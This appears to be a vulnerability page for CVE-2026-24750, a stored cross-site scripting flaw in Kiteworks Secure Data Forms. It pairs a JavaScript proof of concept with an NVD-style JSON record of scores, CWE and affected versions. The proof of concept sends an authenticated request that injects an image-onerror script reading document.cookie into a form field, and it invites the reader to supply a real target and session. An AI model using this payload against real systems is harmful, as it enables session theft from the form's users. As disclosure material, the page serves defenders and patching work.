CVE-2026-24750

// Proof of Concept for CVE-2026-24750 // This script demonstrates how an authenticated attacker might inject a payload. // Replace 'TARGET_URL' and 'COOKIES' with valid values. const TARGET_URL = 'https://target-kiteworks.com/api/forms/modify'; const PAYLOAD = '<img src=x onerror=alert(document.cookie)>'; // Simulate a request to modify a form field fetch(TARGET_URL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': 'session_id=attacker_session_token_here' }, body: JSON.stringify({ form_id: 12345, field_name: 'description', field_value: PAYLOAD // Malicious injection }) }).then(response => { if (response.ok) { console.log('[+] Payload injected successfully. Check the form view.'); } else { console.log('[-] Injection failed.'); } });

{"cve": {"id": "CVE-2026-24750", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:20.967", "lastModified": "2026-03-27T19:23:26.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiteworks is a private data network (PDN). In Kiteworks Secure Data Forms prior to version 9.2.1, an authenticated attacker could exploit an Improper Neutralization of Input During Web Page Generation as Stored XSS when modifying forms. Upgrade Kiteworks to version 9.2.1 or later to receive a patch."}, {"lang": "es", "value": "Kiteworks es una red de datos privada (PDN). En Kiteworks Secure Data Forms anterior a la versión 9.2.1, un atacante autenticado podría explotar una neutralización incorrecta de la entrada durante la generación de páginas web como XSS almacenado al modificar formularios. Actualice Kiteworks a la versión 9.2.1 o posterior para recibir un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:accellion:kiteworks:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.1", "matchCriteriaId": "30A78D6E-2376-4B2C-B4AD-499D1DF88E34"}]}]}], "references": [{"url": "https://github.com/kiteworks/security-advisories/security/advisories/GHSA-rfwm-2hq6-h84g", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}